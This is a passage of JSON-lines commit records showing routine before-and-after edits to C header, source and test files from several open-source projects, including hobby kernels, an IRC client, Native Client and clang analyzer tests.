to inline functions\n","lang":"C","license":"mit","repos":"nadirs\/dmgemu,nadirs\/dmgemu,nadirs\/dmgemu,nadirs\/dmgemu"}
{"commit":"4957aeebad39f4dc1c3ed05e81a171d4ab213b15","old_file":"TwIRCk\/GLGInputParserDelegate.h","new_file":"TwIRCk\/GLGInputParserDelegate.h","old_contents":"\/\/\n\/\/  GLGInputParserDelegate.h\n\/\/  TwIRCk\n\/\/\n\/\/  Created by Tim Jarratt on 11\/29\/13.\n\/\/  Copyright (c) 2013 General Linear Group. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol GLGInputParserDelegate <NSObject>\n\n- (void) didJoinChannel:(NSString *)channel\n             rawCommand:(NSString *)rawCommand;\n- (void) didPartChannel:(NSString *)channel\n             rawCommand:(NSString *)rawCommand;\n- (void) didChangeNick:(NSString *)newNick\n            rawCommand:(NSString *)rawCommand;\n- (void) didChangePassword:(NSString *)newPassword\n                rawCommand:(NSString *)rawCommand;\n@end\n","new_contents":"\/\/\n\/\/  GLGInputParserDelegate.h\n\/\/  TwIRCk\n\/\/\n\/\/  Created by Tim Jarratt on 11\/29\/13.\n\/\/  Copyright (c) 2013 General Linear Group. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol GLGInputParserDelegate <NSObject>\n\n- (void) didJoinChannel:(NSString *)channel\n             rawCommand:(NSString *)command;\n- (void) didPartChannel:(NSString *)channel\n             rawCommand:(NSString *)channel;\n- (void) didChangeNick:(NSString *)newNick\n            rawCommand:(NSString *)channel;\n- (void) didChangePassword:(NSString *)newPassword\n                rawCommand:(NSString *)channel;\n@end\n","subject":"Revert \"Name these protocol method variables better\"","message":"Revert \"Name these protocol method variables better\"\n\nThis reverts commit 0dc63736e1b8398d1fc9692473f285076aa862ee.\n","lang":"C","license":"mit","repos":"tjarratt\/twIRCk,tjarratt\/twIRCk,tjarratt\/twIRCk"}
{"commit":"9bf77934c4d06067d3619abc4c40ca5adf3dde9f","old_file":"include\/kernel\/idt.h","new_file":"include\/kernel\/idt.h","old_contents":"#ifndef IDT_H\n#define IDT_H\n\n#include <stdint.h>\n\nstruct IDTEntry {\n\tuint16_t base_address_low;\n\tuint16_t selector;\n\tuint8_t reserved;\n\tuint8_t type : 4;\n\tuint8_t storage_segment : 1;\n\tuint8_t privilege : 2;\n\tuint8_t present : 1;\n\tuint16_t base_address_high;\n} __attribute__((packed));\n\nstruct IDTDescriptor {\n\tuint16_t limiter;\n\tuint32_t base_address;\n} __attribute__((packed));\n\nstruct IDT {\n\tstruct IDTDescriptor descriptor;\n\tstruct IDTEntry entries[256];\n} __attribute__((packed));\n\nvoid idt_init(struct IDT *);\n\n#endif\n","new_contents":"#ifndef IDT_H\n#define IDT_H\n\n#include <stdint.h>\n\nstruct IDTEntry {\n\tuint16_t base_address_low;\n\tuint16_t selector;\n\tuint8_t reserved;\n\tuint8_t type : 4;\n\tuint8_t storage_segment : 1;\n\tuint8_t privilege : 2;\n\tuint8_t present : 1;\n\tuint16_t base_address_high;\n} __attribute__((packed));\n\nstruct IDTDescriptor {\n\tuint16_t limiter;\n\tuint32_t base_address;\n} __attribute__((packed));\n\nstruct IDT {\n\tstruct IDTDescriptor descriptor;\n\tstruct IDTEntry entries[128];\n} __attribute__((packed));\n\nvoid idt_init(struct IDT *);\n\n#endif\n","subject":"Cut space required for IDT in half","message":"Cut space required for IDT in half\n","lang":"C","license":"apache-2.0","repos":"shockkolate\/shockk-os,shockkolate\/shockk-os,shockkolate\/shockk-os"}
{"commit":"6cffd9ec486df91cad16b752c3da4ab0aa992119","old_file":"src\/db.h","new_file":"src\/db.h","old_contents":"","new_contents":"\/\/ Copyright 2016 Ben Trask\n\/\/ MIT licensed (see LICENSE for details)\n\n#include <kvstore\/db_schema.h>\n\nenum {\n\tharc_timeid_to_entry = 20,\n\tharc_url_timeid = 21,\n\tharc_hash_timeid = 50,\n};\n\n#define harc_timeid_to_entry_keypack(val, time, id) \\\n\tDB_VAL_STORAGE(val, DB_VARINT_MAX*3); \\\n\tdb_bind_uint64((val), harc_timeid_to_entry); \\\n\tdb_bind_uint64((val), (time)); \\\n\tdb_bind_uint64((val), (id)); \\\n\tDB_VAL_STORAGE_VERIFY(val);\n\n\/\/ TODO: How to pack\/unpack list of hashes?\n\n#define harc_hash_timeid_keypack(val, url, time, id) \\\n\tDB_VAL_STORAGE(val, DB_VARINT_MAX*3 + DB_INLINE_MAX); \\\n\tdb_bind_uint64((val), harc_url_timeid); \\\n\tdb_bind_string((val), (url), 8); \\\n\tdb_bind_uint64((val), (time)); \\\n\tdb_bind_uint64((val), (id)); \\\n\tDB_VAL_STORAGE_VERIFY(val);\n\n#define harc_hash_timeid_keypack(val, algo, hash, time, id) \\\n\tDB_VAL_STORAGE(val, DB_VARINT_MAX*3 + DB_BLOB_MAX(8)); \\\n\tdb_bind_uint64((val), harc_hash_timeid+(algo)); \\\n\tdb_bind_blob((val), (hash), 8); \\\n\tdb_bind_uint64((val), (time)); \\\n\tdb_bind_uint64((val), (id)); \\\n\tDB_VAL_STORAGE_VERIFY(val);\n\n","subject":"Add beginnings of DB layer.","message":"Add beginnings of DB layer.\n","lang":"C","license":"mit","repos":"btrask\/hash-archive,btrask\/hash-archive,btrask\/hash-archive"}
{"commit":"c7b43401d7bca2f3919c40391473e37a384093ca","old_file":"types.h","new_file":"types.h","old_contents":"\/*\n * types.h\n *\n *  Created on: Mar 11, 2014\n *      Author: Chase\n *\/\n\n#ifndef TYPES_H_\n#define TYPES_H_\n\n#include <stdint.h>\n\n\/\/Don't use stdbool.h, we have to make sure bool is only a byte in size!\ntypedef uint8_t bool;\n#define true 1\n#define false 0\n#define TRUE 1\n#define FALSE 0\n\ntypedef uint8_t char8_t;\ntypedef uint16_t char16_t;\n\n\n\n#endif \/* TYPES_H_ *\/\n","new_contents":"\/*\n * types.h\n *\n *  Created on: Mar 11, 2014\n *      Author: Chase\n *\/\n\n#ifndef TYPES_H_\n#define TYPES_H_\n\n#include <stdint.h>\n\n\/\/Don't use stdbool.h, we have to make sure bool is only a byte in size!\ntypedef uint8_t bool;\nenum {\n\ttrue = 1,\n\tfalse = 0,\n\tTRUE = 1,\n\tFALSE = 0\n};\n\ntypedef uint8_t char8_t;\ntypedef uint16_t char16_t;\n\n\n\n#endif \/* TYPES_H_ *\/\n","subject":"Change bool true\/false to enum","message":"Change bool true\/false to enum\n","lang":"C","license":"mit","repos":"Chase-san\/libspec,Chase-san\/libspec"}
{"commit":"a2c9184cb990b90c7575053637f1abc99f3d32e9","old_file":"src\/untrusted\/nacl\/pthread_initialize_minimal.c","new_file":"src\/untrusted\/nacl\/pthread_initialize_minimal.c","old_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <unistd.h>\n\n#include \"native_client\/src\/untrusted\/nacl\/nacl_irt.h\"\n#include \"native_client\/src\/untrusted\/nacl\/nacl_thread.h\"\n#include \"native_client\/src\/untrusted\/nacl\/tls.h\"\n\n\/*\n * This initialization happens early in startup with or without libpthread.\n * It must make it safe for vanilla newlib code to run.\n *\/\nvoid __pthread_initialize_minimal(size_t tdb_size) {\n  \/* Adapt size for sbrk. *\/\n  \/* TODO(robertm): this is somewhat arbitrary - re-examine). *\/\n  size_t combined_size = (__nacl_tls_combined_size(tdb_size) + 15) & ~15;\n\n  \/*\n   * Use sbrk not malloc here since the library is not initialized yet.\n   *\/\n  void *combined_area = sbrk(combined_size);\n\n  \/*\n   * Fill in that memory with its initializer data.\n   *\/\n  void *tp = __nacl_tls_initialize_memory(combined_area, tdb_size);\n\n  \/*\n   * Set %gs, r9, or equivalent platform-specific mechanism.  Requires\n   * a syscall since certain bitfields of these registers are trusted.\n   *\/\n  nacl_tls_init(tp);\n\n  \/*\n   * Initialize newlib's thread-specific pointer.\n   *\/\n  __newlib_thread_init();\n}\n","new_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <unistd.h>\n\n#include \"native_client\/src\/untrusted\/nacl\/nacl_irt.h\"\n#include \"native_client\/src\/untrusted\/nacl\/nacl_thread.h\"\n#include \"native_client\/src\/untrusted\/nacl\/tls.h\"\n\n\/*\n * This initialization happens early in startup with or without libpthread.\n * It must make it safe for vanilla newlib code to run.\n *\/\nvoid __pthread_initialize_minimal(size_t tdb_size) {\n  size_t combined_size = __nacl_tls_combined_size(tdb_size);\n\n  \/*\n   * Use sbrk not malloc here since the library is not initialized yet.\n   *\/\n  void *combined_area = sbrk(combined_size);\n\n  \/*\n   * Fill in that memory with its initializer data.\n   *\/\n  void *tp = __nacl_tls_initialize_memory(combined_area, tdb_size);\n\n  \/*\n   * Set %gs, r9, or equivalent platform-specific mechanism.  Requires\n   * a syscall since certain bitfields of these registers are trusted.\n   *\/\n  nacl_tls_init(tp);\n\n  \/*\n   * Initialize newlib's thread-specific pointer.\n   *\/\n  __newlib_thread_init();\n}\n","subject":"Remove unnecessary rounding when allocating initial thread block","message":"Cleanup: Remove unnecessary rounding when allocating initial thread block\n\nThe other calls to __nacl_tls_combined_size() don't do this.\n\n__nacl_tls_combined_size() should be doing any necessary rounding itself.\n\nBUG=none\nTEST=trybots\n\nReview URL: https:\/\/codereview.chromium.org\/18555008\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@11698 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client"}
{"commit":"2e7fdd6a1db4a649f7e3e469729946d3978f83a1","old_file":"test\/test_buffer_small_read.c","new_file":"test\/test_buffer_small_read.c","old_contents":"#include <bert\/buffer.h>\n\n#include <string.h>\n#include <stdio.h>\n\n#include \"test.h\"\n\n#define DATA_SIZE\t4\n\nint main()\n{\n\tunsigned char data[4];\n\tbert_buffer_t buffer;\n\n\tbert_buffer_init(&buffer);\n\n\tmemset(data,'A',DATA_SIZE);\n\n\tbert_buffer_write(&buffer,data,DATA_SIZE);\n\tbert_buffer_write(&buffer,data,DATA_SIZE);\n\tbert_buffer_write(&buffer,data,DATA_SIZE);\n\n\tunsigned char output[DATA_SIZE];\n\tsize_t result;\n\n\tif ((result = bert_buffer_read(output,&buffer,DATA_SIZE)) != DATA_SIZE)\n\t{\n\t\ttest_fail(\"bert_buffer_read only read %u bytes, expected %u\",result,DATA_SIZE);\n\t}\n\n\tif (memcmp(output,data,DATA_SIZE))\n\t{\n\t\ttest_fail(\"bert_buffer_read return %c%c%c%c, expected AAAA\",output[0],output[1],output[2],output[3]);\n\t}\n\n\treturn 0;\n}\n","new_contents":"#include <bert\/buffer.h>\n\n#include <string.h>\n#include <stdio.h>\n\n#include \"test.h\"\n\n#define DATA_SIZE\t4\n\nint main()\n{\n\tunsigned char data[4];\n\tbert_buffer_t buffer;\n\n\tbert_buffer_init(&buffer);\n\n\tmemset(data,'A',DATA_SIZE);\n\n\tunsigned int i;\n\n\tfor (i=0;i<((BERT_CHUNK_SIZE \/ DATA_SIZE) * 2);i++)\n\t{\n\t\tbert_buffer_write(&buffer,data,DATA_SIZE);\n\t}\n\n\tunsigned char output[DATA_SIZE];\n\tsize_t result;\n\n\tif ((result = bert_buffer_read(output,&buffer,DATA_SIZE)) != DATA_SIZE)\n\t{\n\t\ttest_fail(\"bert_buffer_read only read %u bytes, expected %u\",result,DATA_SIZE);\n\t}\n\n\tif (memcmp(output,data,DATA_SIZE))\n\t{\n\t\ttest_fail(\"bert_buffer_read return %c%c%c%c, expected AAAA\",output[0],output[1],output[2],output[3]);\n\t}\n\n\treturn 0;\n}\n","subject":"Make sure the buffer small read populates the buffer with multiple chunks.","message":"Make sure the buffer small read populates the buffer with multiple chunks.\n","lang":"C","license":"mit","repos":"postmodern\/libBERT"}
{"commit":"6fd49de120156dfac40ce3ce57d52f986b66aa3e","old_file":"C\/SysLib\/SysLib.h","new_file":"C\/SysLib\/SysLib.h","old_contents":"\/*****************************************************************************\\\n*                                                                             *\n*   Filename \t    SysLib.h\t\t\t\t\t\t      *\n*\t\t\t\t\t\t\t\t\t      *\n*   Description     SysLib Library core definitions\t\t\t      *\n*                                                                             *\n*   Notes\t    Included indirectly by the include files that need it.    *\n*\t\t    Do not include directly.\t\t\t\t      *\n*\t\t\t\t\t\t\t\t\t      *\n*   History\t\t\t\t\t\t\t\t      *\n*    2016-04-12 JFL Created this file.\t\t\t\t\t      *\n*    2016-04-22 JFL Renamed the MULTIOS library as SYSLIB.\t\t      *\n*\t\t    \t\t\t\t\t\t\t      *\n*         © Copyright 2016 Hewlett Packard Enterprise Development LP          *\n* Licensed under the Apache 2.0 license - www.apache.org\/licenses\/LICENSE-2.0 *\n\\*****************************************************************************\/\n\n#ifndef __SYSLIB_H__   \/* Prevent multiple inclusions *\/\n#define __SYSLIB_H__\n\n\/* Force linking with the SysLib.lib library *\/\n#if defined(_MSC_VER)\n#define _SYSLIB_LIB \"SysLib.lib\"\n#pragma message(\"Adding pragma comment(lib, \\\"\" _SYSLIB_LIB \"\\\")\")\n#pragma comment(lib, _SYSLIB_LIB)\n#endif \/* defined(_MSC_VER) *\/\n\n#if defined(__unix__)\n#define _SYSLIB_LIB \"libSysLib.a\"\n#endif\n\n#endif \/* defined(__SYSLIB_H__) *\/\n","new_contents":"\/*****************************************************************************\\\n*                                                                             *\n*   Filename \t    SysLib.h\t\t\t\t\t\t      *\n*\t\t\t\t\t\t\t\t\t      *\n*   Description     SysLib Library core definitions\t\t\t      *\n*                                                                             *\n*   Notes\t    Included indirectly by the include files that need it.    *\n*\t\t    Do not include directly.\t\t\t\t      *\n*\t\t\t\t\t\t\t\t\t      *\n*   History\t\t\t\t\t\t\t\t      *\n*    2016-04-12 JFL Created this file.\t\t\t\t\t      *\n*    2016-04-22 JFL Renamed the MULTIOS library as SYSLIB.\t\t      *\n*\t\t    \t\t\t\t\t\t\t      *\n*         © Copyright 2016 Hewlett Packard Enterprise Development LP          *\n* Licensed under the Apache 2.0 license - www.apache.org\/licenses\/LICENSE-2.0 *\n\\*****************************************************************************\/\n\n#ifndef __SYSLIB_H__   \/* Prevent multiple inclusions *\/\n#define __SYSLIB_H__\n\n\/* Force linking with the SysLib.lib library *\/\n#if defined(_MSC_VER)\n\n#define _SYSLIB_LIB \"SysLib.lib\"\n#pragma message(\"Adding pragma comment(lib, \\\"\" _SYSLIB_LIB \"\\\")\")\n#pragma comment(lib, _SYSLIB_LIB)\n\n#else \/* GCC, clang, etc. *\/\n\n#define _SYSLIB_LIB \"libSysLib.a\"\n\n#endif\n\n#endif \/* defined(__SYSLIB_H__) *\/\n","subject":"Fix compatibility with all non-Microsoft compilers","message":"Fix compatibility with all non-Microsoft compilers\n","lang":"C","license":"apache-2.0","repos":"JFLarvoire\/SysToolsLib,JFLarvoire\/SysToolsLib,JFLarvoire\/SysToolsLib,JFLarvoire\/SysToolsLib"}
{"commit":"8236a6d84a13fa1511aaa8d8dea1b0155fe78c95","old_file":"fifo.h","new_file":"fifo.h","old_contents":"#ifndef FIFO_H\n#define FIFO_H\n\n#include \"align.h\"\n\n#define FIFO_NODE_SIZE 510\n\nstruct _fifo_node_t;\n\ntypedef struct DOUBLE_CACHE_ALIGNED {\n  volatile size_t enq DOUBLE_CACHE_ALIGNED;\n  volatile size_t deq DOUBLE_CACHE_ALIGNED;\n  volatile struct {\n    int index;\n    struct _fifo_node_t * node;\n  } head DOUBLE_CACHE_ALIGNED;\n  size_t nprocs;\n} fifo_t;\n\ntypedef struct DOUBLE_CACHE_ALIGNED _fifo_handle_t {\n  struct _fifo_handle_t * next;\n  struct _fifo_node_t * enq;\n  struct _fifo_node_t * deq;\n  struct _fifo_node_t * hazard;\n  struct _fifo_node_t * retired;\n  int winner;\n} fifo_handle_t;\n\nvoid fifo_init(fifo_t * fifo, size_t width);\nvoid fifo_register(fifo_t * fifo, fifo_handle_t * handle);\nvoid * fifo_get(fifo_t * fifo, fifo_handle_t * handle);\nvoid fifo_put(fifo_t * fifo, fifo_handle_t * handle, void * data);\n\n#endif \/* end of include guard: FIFO_H *\/\n","new_contents":"#ifndef FIFO_H\n#define FIFO_H\n\n#include \"align.h\"\n\n#define FIFO_NODE_SIZE (1 << 20 - 2)\n\nstruct _fifo_node_t;\n\ntypedef struct DOUBLE_CACHE_ALIGNED {\n  volatile size_t enq DOUBLE_CACHE_ALIGNED;\n  volatile size_t deq DOUBLE_CACHE_ALIGNED;\n  volatile struct {\n    size_t index;\n    struct _fifo_node_t * node;\n  } head DOUBLE_CACHE_ALIGNED;\n  size_t nprocs;\n} fifo_t;\n\ntypedef struct DOUBLE_CACHE_ALIGNED _fifo_handle_t {\n  struct _fifo_handle_t * next;\n  struct _fifo_node_t * enq;\n  struct _fifo_node_t * deq;\n  struct _fifo_node_t * hazard;\n  struct _fifo_node_t * retired;\n  int winner;\n} fifo_handle_t;\n\nvoid fifo_init(fifo_t * fifo, size_t width);\nvoid fifo_register(fifo_t * fifo, fifo_handle_t * handle);\nvoid * fifo_get(fifo_t * fifo, fifo_handle_t * handle);\nvoid fifo_put(fifo_t * fifo, fifo_handle_t * handle, void * data);\n\n#endif \/* end of include guard: FIFO_H *\/\n","subject":"Use the same size of lcrq.","message":"Use the same size of lcrq.\n","lang":"C","license":"mit","repos":"chaoran\/fast-wait-free-queue,chaoran\/hpc-queue,chaoran\/fast-wait-free-queue,chaoran\/hpc-queue,chaoran\/fast-wait-free-queue,chaoran\/hpc-queue"}
{"commit":"0920b4d3988702e09e175fdfc9ac40aee61a90f5","old_file":"libslax\/jsonwriter.h","new_file":"libslax\/jsonwriter.h","old_contents":"\/*\n * $Id$\n *\n * Copyright (c) 2013, Juniper Networks, Inc.\n * All rights reserved.\n * This SOFTWARE is licensed under the LICENSE provided in the\n * ..\/Copyright file. By downloading, installing, copying, or otherwise\n * using the SOFTWARE, you agree to be bound by the terms of that\n * LICENSE.\n *\n * jsonwriter.h -- turn json-oriented XML into json text\n *\/\n\nint\nslaxJsonWriteNode (slaxWriterFunc_t func, void *data, xmlNodePtr nodep,\n\t\t       unsigned flags);\n\nint\nslaxJsonWriteDoc (slaxWriterFunc_t func, void *data, xmlDocPtr docp,\n\t\t      unsigned flags);\n\n#define JWF_ROOT\t(1<<0)\t\/* Root node *\/\n#define JWF_ARRAY\t(1<<1)\t\/* Inside array *\/\n#define JWF_NODESET\t(1<<2)\t\/* Top of a nodeset *\/\n#define JWF_PRETTY\t(1<<3)\t\/* Pretty print (newlines) *\/\n\n#define JWF_OPTIONAL_QUOTES (1<<4)\t\/* Don't use quotes unless needed *\/\n","new_contents":"\/*\n * Copyright (c) 2013, Juniper Networks, Inc.\n * All rights reserved.\n * This SOFTWARE is licensed under the LICENSE provided in the\n * ..\/Copyright file. By downloading, installing, copying, or otherwise\n * using the SOFTWARE, you agree to be bound by the terms of that\n * LICENSE.\n *\n * jsonwriter.h -- turn json-oriented XML into json text\n *\/\n\nint\nslaxJsonWriteNode (slaxWriterFunc_t func, void *data, xmlNodePtr nodep,\n\t\t       unsigned flags);\n\nint\nslaxJsonWriteDoc (slaxWriterFunc_t func, void *data, xmlDocPtr docp,\n\t\t      unsigned flags);\n\n#define JWF_ROOT\t(1<<0)\t\/* Root node *\/\n#define JWF_ARRAY\t(1<<1)\t\/* Inside array *\/\n#define JWF_NODESET\t(1<<2)\t\/* Top of a nodeset *\/\n#define JWF_PRETTY\t(1<<3)\t\/* Pretty print (newlines) *\/\n\n#define JWF_OPTIONAL_QUOTES (1<<4)\t\/* Don't use quotes unless needed *\/\n","subject":"Drop $Id$ and update copyright","message":"Drop $Id$ and update copyright\n","lang":"C","license":"bsd-3-clause","repos":"Juniper\/libslax,Juniper\/libslax,Juniper\/libslax"}
{"commit":"c532f633a94f3d91b4435c8ed84dc3ef7bcf2afa","old_file":"test\/Analysis\/stack-addr-ps.c","new_file":"test\/Analysis\/stack-addr-ps.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nint* f1() {\n  int x = 0;\n  return &x; \/\/ expected-warning{{Address of stack memory associated with local variable 'x' returned.}} expected-warning{{address of stack memory associated with local variable 'x' returned}}\n}\n\nint* f2(int y) {\n  return &y;  \/\/ expected-warning{{Address of stack memory associated with local variable 'y' returned.}} expected-warning{{address of stack memory associated with local variable 'y' returned}}\n}\n\nint* f3(int x, int *y) {\n  int w = 0;\n  \n  if (x)\n    y = &w;\n    \n  return y; \/\/ expected-warning{{Address of stack memory associated with local variable 'w' returned.}}\n}\n\nunsigned short* compound_literal() {\n  return &(unsigned short){((unsigned short)0x22EF)}; \/\/ expected-warning{{Address of stack memory}}\n}\n\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nint* f1() {\n  int x = 0;\n  return &x; \/\/ expected-warning{{Address of stack memory associated with local variable 'x' returned.}} expected-warning{{address of stack memory associated with local variable 'x' returned}}\n}\n\nint* f2(int y) {\n  return &y;  \/\/ expected-warning{{Address of stack memory associated with local variable 'y' returned.}} expected-warning{{address of stack memory associated with local variable 'y' returned}}\n}\n\nint* f3(int x, int *y) {\n  int w = 0;\n  \n  if (x)\n    y = &w;\n    \n  return y; \/\/ expected-warning{{Address of stack memory associated with local variable 'w' returned.}}\n}\n\nunsigned short* compound_literal() {\n  return &(unsigned short){((unsigned short)0x22EF)}; \/\/ expected-warning{{Address of stack memory}} expected-warning{{braces around scalar initializer}}\n}\n\n","subject":"Add 'expected-warning' for braces around scalar initializer","message":"Add 'expected-warning' for braces around scalar initializer\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58280 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"64f5f1fea0b17b4798bbdc926ea5e54f6f62d019","old_file":"kernel\/gdt.c","new_file":"kernel\/gdt.c","old_contents":"","new_contents":"\/*GDT stands for \"Global Descriptor Table\". \nIt is a table available on i386 (ix86?)\nprocessors. The GDT is a list of 64 bit entries.\nGRUB (or our boot) loader will install the GDT for us.\nIf we overwrite the GDT we will cause a 'triple fault'\nand the machine will be reset.\n\nBased on the tutorial, we will write a GDT with only 3 fields\nand will not concern ourselves with the other fields.\n\nThe above was paraphrased from:\nhttp:\/\/www.osdever.net\/bkerndev\/Docs\/gdt.htm\n*\/\n\ntypedef unsigned short usort;\ntypedef unsigned char uchar;\ntypedef unsigned int uint;\n\n\/* the __attribute__((packed))\ntells the compiler not to 'optimize' the struct for us by \npacking.\n*\/\nstruct gdt_entry\n{\n\tushort limit_low;\n\tushort base_low;\n\tuchar  base_middle;\n\tuchar  access;\n\tuchar  granularity;\n\tuchar  base_high;\n}__attribute__((packed));\n\n\/* the following is a special pointer representing\nthe max bytes taken up by the GDT -1 *\/\nstruct gdt_ptr\n{\n\tushort limit;\n\tuint   base;\n}__attribute__((packed));\n\nstruct gdt_entry gdt[3];\nstruct gdt_ptr   gdtp;\n\/* A function in start.am. Used to properly \nreload the new segment registers *\/\n\/\/extern void gdt_flush();\n\n","subject":"Add structs used in the GDT","message":"Add structs used in the GDT\n","lang":"C","license":"mit","repos":"Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"cc83e1e54763daf0dcb2e80989517a5065b5ce0a","old_file":"include\/stamp.h","new_file":"include\/stamp.h","old_contents":"\/*\n * Time stamp of last source code repository commit.\n *\/\n\n#define ___STAMP_YMD 20131223\n#define ___STAMP_HMS 145645\n","new_contents":"\/*\n * Time stamp of last source code repository commit.\n *\/\n\n#define ___STAMP_YMD 20131223\n#define ___STAMP_HMS 172203\n","subject":"Clarify that LD_LIBRARY_PATH must be set when Gambit is build with shared libs","message":"Clarify that LD_LIBRARY_PATH must be set when Gambit is build with shared libs\n","lang":"C","license":"apache-2.0","repos":"BeImprovised\/gambit,jasperla\/gambit,BeImprovised\/gambit,BeImprovised\/gambit,acenode\/gambit,thewhimer\/gambit,jasperla\/gambit,BeImprovised\/gambit,thewhimer\/gambit,thewhimer\/gambit,jasperla\/gambit,acenode\/gambit,jasperla\/gambit,thewhimer\/gambit,acenode\/gambit,acenode\/gambit,thewhimer\/gambit,thewhimer\/gambit"}
{"commit":"df24731a1a75f55efa4a4453aed9ad108dfe52cf","old_file":"libs\/samson\/stream\/QueueTaskManager.h","new_file":"libs\/samson\/stream\/QueueTaskManager.h","old_contents":"\n#ifndef _H_SAMSON_QUEUE_TASK_MANAGER\n#define _H_SAMSON_QUEUE_TASK_MANAGER\n\n#include \"au\/list.h\"        \/\/ au::list\n\nnamespace samson {\n    namespace stream {\n        \n        class QueueTask;\n        \n        class QueueTaskManager\n        {\n            au::list< QueueTask > queueTasks;\n            size_t id;                              \/\/ Id of the current task\n                        \n        public:\n            \n            void add( QueueTask* task );\n            \n            std::string getStatus();\n            \n        };\n        \n    }\n    \n}\n\n#endif\n","new_contents":"\n#ifndef _H_SAMSON_QUEUE_TASK_MANAGER\n#define _H_SAMSON_QUEUE_TASK_MANAGER\n\n#include \"au\/list.h\"        \/\/ au::list\n#include <string>           \/\/ std::string\n\nnamespace samson {\n    namespace stream {\n        \n        class QueueTask;\n        \n        class QueueTaskManager\n        {\n            au::list< QueueTask > queueTasks;\n            size_t id;                              \/\/ Id of the current task\n                        \n        public:\n            \n            void add( QueueTask* task );\n            \n            std::string getStatus();\n            \n        };\n        \n    }\n    \n}\n\n#endif\n","subject":"Fix broken compilation of Linux for the famous string.h header","message":"Fix broken compilation of Linux for the famous string.h header\n\ngit-svn-id: 9714148d14941aebeae8d7f7841217f5ffc02bc5@1260 4143565c-f3ec-42ea-b729-f8ce0cf5cbc3\n","lang":"C","license":"apache-2.0","repos":"telefonicaid\/fiware-cosmos-platform,telefonicaid\/fiware-cosmos-platform,telefonicaid\/fiware-cosmos-platform,telefonicaid\/fiware-cosmos-platform,telefonicaid\/fiware-cosmos-platform"}
{"commit":"ff3cc8c9b31ed62299c14f800f55097588a2c0f5","old_file":"SwitecX25.h","new_file":"SwitecX25.h","old_contents":"#ifndef SwitecX25_h\n#define SwitecX25_h\n\nclass SwitecX25\n{\n public:\n   static const unsigned char pinCount = 4;\n   static const unsigned char stateCount = 6;\n   unsigned char pins[pinCount];\n   unsigned char currentState;    \/\/ 6 steps \n   unsigned int currentStep;      \/\/ step we are currently at\n   unsigned int targetStep;       \/\/ target we are moving to\n   unsigned int steps;            \/\/ total steps available\n   unsigned long time0;           \/\/ time when we entered this state\n   unsigned int microDelay;       \/\/ microsecs until next state\n   unsigned short (*accelTable)[2]; \/\/ accel table can be modified.\n   unsigned int maxVel;           \/\/ fastest vel allowed\n   unsigned int vel;              \/\/ steps travelled under acceleration\n   char dir;                      \/\/ direction -1,0,1  \n   boolean stopped;               \/\/ true if stopped\n   \n   SwitecX25(unsigned int steps, unsigned char pin1, unsigned char pin2, unsigned char pin3, unsigned char pin4);\n  \n   void stepUp();\n   void stepDown();\n   void zero();\n   void update();\n   void setPosition(unsigned int pos);\n  \n private:\n   void advance();\n   void writeIO();\n};\n\n\n#endif\n\n","new_contents":"#ifndef SwitecX25_h\n#define SwitecX25_h\n#include <Arduino.h>\n\nclass SwitecX25\n{\n public:\n   static const unsigned char pinCount = 4;\n   static const unsigned char stateCount = 6;\n   unsigned char pins[pinCount];\n   unsigned char currentState;    \/\/ 6 steps \n   unsigned int currentStep;      \/\/ step we are currently at\n   unsigned int targetStep;       \/\/ target we are moving to\n   unsigned int steps;            \/\/ total steps available\n   unsigned long time0;           \/\/ time when we entered this state\n   unsigned int microDelay;       \/\/ microsecs until next state\n   unsigned short (*accelTable)[2]; \/\/ accel table can be modified.\n   unsigned int maxVel;           \/\/ fastest vel allowed\n   unsigned int vel;              \/\/ steps travelled under acceleration\n   char dir;                      \/\/ direction -1,0,1  \n   boolean stopped;               \/\/ true if stopped\n   \n   SwitecX25(unsigned int steps, unsigned char pin1, unsigned char pin2, unsigned char pin3, unsigned char pin4);\n  \n   void stepUp();\n   void stepDown();\n   void zero();\n   void update();\n   void setPosition(unsigned int pos);\n  \n private:\n   void advance();\n   void writeIO();\n};\n\n\n#endif\n\n","subject":"Include Arduino.h to make sure we have types like \"boolean\"","message":"Include Arduino.h to make sure we have types like \"boolean\"\n","lang":"C","license":"bsd-2-clause","repos":"timkettering\/SwitecX25"}
